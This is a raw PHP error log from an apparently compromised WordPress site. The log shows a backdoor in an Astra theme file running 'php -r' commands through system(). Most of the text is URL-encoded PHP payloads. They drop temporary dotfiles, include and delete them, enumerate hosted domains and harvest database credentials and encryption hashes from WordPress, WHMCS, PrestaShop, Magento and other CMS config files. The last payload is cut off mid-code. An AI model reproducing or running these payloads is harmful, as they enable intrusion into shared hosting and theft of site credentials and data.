[22-Aug-2026 08:46:44 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20%20%20%24r%20%3D%20%22/home%22%3B%20%24dir_public%20%3D%20%22public_html%22%3B%20function%20is_valid_domain%28%24domain%29%20%7B%20%20%20%20%20if%20%28%21substr_count%28%24domain%2C%20%27.%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28stripos%28%24domain%2C%20%27www.%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%204%29%3B%20%20%20%20%20%7D%20%20%20%20%20%24again%20%3D%20%27http%3A//%27%20.%20%24domain%3B%20%20%20%20%20return%20filter_var%28%24again%2C%20FILTER_VALIDATE_URL%29%3B%20%7D%20%20%24dirs%20%3D%20glob%28%22%7B%24r%7D/%2A%22%2C%20GLOB_ONLYDIR%29%3B%20foreach%20%28%24dirs%20as%20%24path%29%20%7B%20%20%20%20%20%24dir%20%3D%20basename%28%24path%29%3B%20%20%20%20%20if%20%28is_valid_domain%28%24dir%29%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28strlen%28%24dir_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%22%7B%24path%7D/%7B%24dir_public%7D%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3Cf%3E%7B%24path%7D/%7B%24dir_public%7D%40%40%40%7B%24dir%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3Cf%3E%7B%24path%7D%40%40%40%7B%24dir%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.ob_iconv_handle";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 08:50:56 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22iUqTneCsxJJHGfkBqk%22.%22HlTGSoFmjAgIbyvWHdJ%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.mb_convert";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 08:51:07 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22VQJmkYVFEUGVePCI%22.%22lNXDTmrTwspVtXl%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.rjust";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 08:51:10 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22BmNPWhHepfEOHKc%22.%22EKcaeIqHLF%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.request";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 08:51:13 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22viCDtjxuoZDmXrx%22.%22wKgRmqucRqFly%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.ibase_pconnection";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 13:00:07 UTC] PHP Parse error:  Unclosed '{' in /tmp/.cache on line 1
[22-Aug-2026 13:02:45 UTC] PHP Parse error:  Unclosed '{' in /tmp/.cache on line 1
[22-Aug-2026 16:52:21 UTC] PHP Parse error:  Unclosed '{' in /tmp/.parle_tokens on line 1
[22-Aug-2026 16:55:46 UTC] PHP Parse error:  Unclosed '{' in /tmp/.requests on line 1
[22-Aug-2026 21:09:31 UTC] PHP Parse error:  Unclosed '{' in /tmp/.lock on line 1
[22-Aug-2026 21:12:01 UTC] PHP Parse error:  Unclosed '{' in /tmp/.partition on line 1
[23-Aug-2026 01:34:04 UTC] PHP Parse error:  Unclosed '{' in /tmp/.rfind on line 1
[23-Aug-2026 01:37:09 UTC] PHP Parse error:  Unclosed '{' in /tmp/.config on line 1
[23-Aug-2026 04:48:23 UTC] PHP Parse error:  Unclosed '{' in /tmp/.locked on line 1
[23-Aug-2026 04:51:39 UTC] PHP Parse error:  Unclosed '{' in /tmp/.uconvert on line 1
[23-Aug-2026 08:54:49 UTC] PHP Parse error:  Unclosed '{' in /tmp/.ibase_pconnection on line 1
[24-Aug-2026 05:29:46 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 1
[24-Aug-2026 13:15:09 UTC] PHP Parse error:  Unclosed '{' in /tmp/.ibase_pconnection on line 1
[24-Aug-2026 13:17:11 UTC] PHP Parse error:  Unclosed '{' in /tmp/.uconvert on line 1
[24-Aug-2026 16:52:37 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22yjvktnzLQyhjttHBpkFn%22.%22EtuYmhqynpiChqrIal%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.rindex";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 16:52:40 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22bKwgHTytZUSn%22.%22FQkkpgjPGKyQMSlakuX%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.ob_iconv_handle";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 16:52:46 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20%20%20%24r%20%3D%20%22/home%22%3B%20%20function%20is_valid_domain%28%24domain%29%20%7B%20%20%20%20%20if%20%28%21substr_count%28%24domain%2C%20%27.%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%09if%20%28stripos%28%24domain%2C%20%27http%3A//%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%207%29%3B%20%09%09%24schema%20%3D%20%27http%3A//%27%3B%20%20%20%20%20%7D%20%09elseif%20%28stripos%28%24domain%2C%20%27https%3A//%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%208%29%3B%20%09%09%24schema%20%3D%20%27https%3A//%27%3B%20%20%20%20%20%7D%20%09else%20%24schema%20%3D%20%27http%3A//%27%3B%20%09%20%20%20%20%20if%20%28stripos%28%24domain%2C%20%27www.%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%204%29%3B%20%20%20%20%20%7D%20%09if%20%28strpos%28%24domain%2C%20%27/%27%29%20%21%3D%3D%20false%29%20%7B%20%09%09%24split%20%3D%20explode%28%27/%27%2C%20%24domain%2C%202%29%3B%20%09%09%24domain%20%3D%20%24split%5B0%5D%3B%20%09%7D%20%20%20%20%20%24again%20%3D%20%24schema%20.%20%24domain%3B%20%20%20%20%20return%20filter_var%28%24again%2C%20FILTER_VALIDATE_URL%29%3B%20%7D%20%20function%20emit_found%28%24docroot%2C%20%24url%2C%20%24cms%2C%20%24config_path%29%20%7B%20%20%20%20%20%24d%20%3D%20is_valid_domain%28%24url%29%3B%20%20%20%20%20if%20%28%24d%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3Cf%3E%7B%24docroot%7D%40%40%40%7B%24d%7D%40%40%40%7B%24cms%7D%40%40%40%7B%24config_path%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%7D%20%7D%20%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20%20function%20scan_wp%28%24p%29%20%7B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28empty%28%24conf%5B%27DB_HOST%27%5D%29%20%7C%7C%20empty%28%24conf%5B%27DB_USER%27%5D%29%20%7C%7C%20empty%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24mysqli%20%3D%20%40new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20if%20%28%21%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24row-%3Eoption_value%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24row-%3Eoption_value%2C%20%27wp%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_joomla%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27JConfig%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/live_site%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2A%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%26%26%20%24m%5B1%5D%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27joomla%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20return%20true%3B%20%20%20%20%20%7D%20%20%20%20%20return%20true%3B%20%7D%20%20function%20scan_whmcs%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27JConfig%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27%24cc_encryption_hash%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24license%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24systemurl%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27whmcs%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_drupal%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24base_url%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24p%2C%20%27/sites/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Csites%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24doc%29%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27drupal%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_opencart%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27DIR_APPLICATION%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24d%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5DHTTPS_SERVER%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24d%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24d%20%26%26%20preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5DHTTP_SERVER%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24d%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24d%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24d%2C%20%27opencart%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_moodle%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27%24CFG%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24CFG%5Cs%2A-%3E%5Cs%2Awwwroot%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27moodle%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_prestashop%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24host%20%3D%20%24user%20%3D%20%24pass%20%3D%20%24db%20%3D%20null%3B%20%20%20%20%20%24prefix%20%3D%20%27ps_%27%3B%20%20%20%20%20if%20%28preg_match%28%22/%27database_host%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_user%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24user%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_password%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pass%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_name%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24db%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_prefix%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24prefix%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24host%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_SERVER_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24user%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_USER_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24user%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24pass%20%3D%3D%3D%20null%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_PASSWD_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pass%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24db%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_NAME_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24db%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_PREFIX_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24prefix%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27config%27%20%7C%7C%20basename%28%24doc%29%20%3D%3D%3D%20%27app%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27config%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24p%2C%20%27/app/config/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Capp%5C%5Cconfig%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27/config/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Cconfig%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24host%20%26%26%20%24user%20%26%26%20%24db%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20%40new%20mysqli%28%24host%2C%20%24user%2C%20%24pass%2C%20%24db%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24table%20%3D%20%24prefix%20.%20%27shop_url%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24sql%20%3D%20%22SELECT%20domain%2C%20domain_ssl%2C%20physical_uri%20FROM%20%60%7B%24table%7D%60%20WHERE%20main%20%3D%201%20LIMIT%201%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24res%20%3D%20%40%24mysqli-%3Equery%28%24sql%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24row%20%3D%20%24res-%3Efetch_assoc%28%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24domain%20%3D%20%21empty%28%24row%5B%27domain_ssl%27%5D%29%20%3F%20%24row%5B%27domain_ssl%27%5D%20%3A%20%24row%5B%27domain%27%5D%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24uri%20%3D%20isset%28%24row%5B%27physical_uri%27%5D%29%20%3F%20%24row%5B%27physical_uri%27%5D%20%3A%20%27/%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24domain%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24scheme%20%3D%20%21empty%28%24row%5B%27domain_ssl%27%5D%29%20%3F%20%27https%3A//%27%20%3A%20%27http%3A//%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24scheme%20.%20%24domain%20.%20%24uri%2C%20%27prestashop%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24res-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_PS_BASE_URL_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27prestashop%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_magento%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20//%20app/etc/env.php%20%E2%86%92%20root%20%20%20%20%20if%20%28preg_match_all%28%22/%27base_url%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28%24m%5B1%5D%20as%20%24url%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24url%2C%20%27magento%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%20function%20scan_mediawiki%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27%24wg%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%2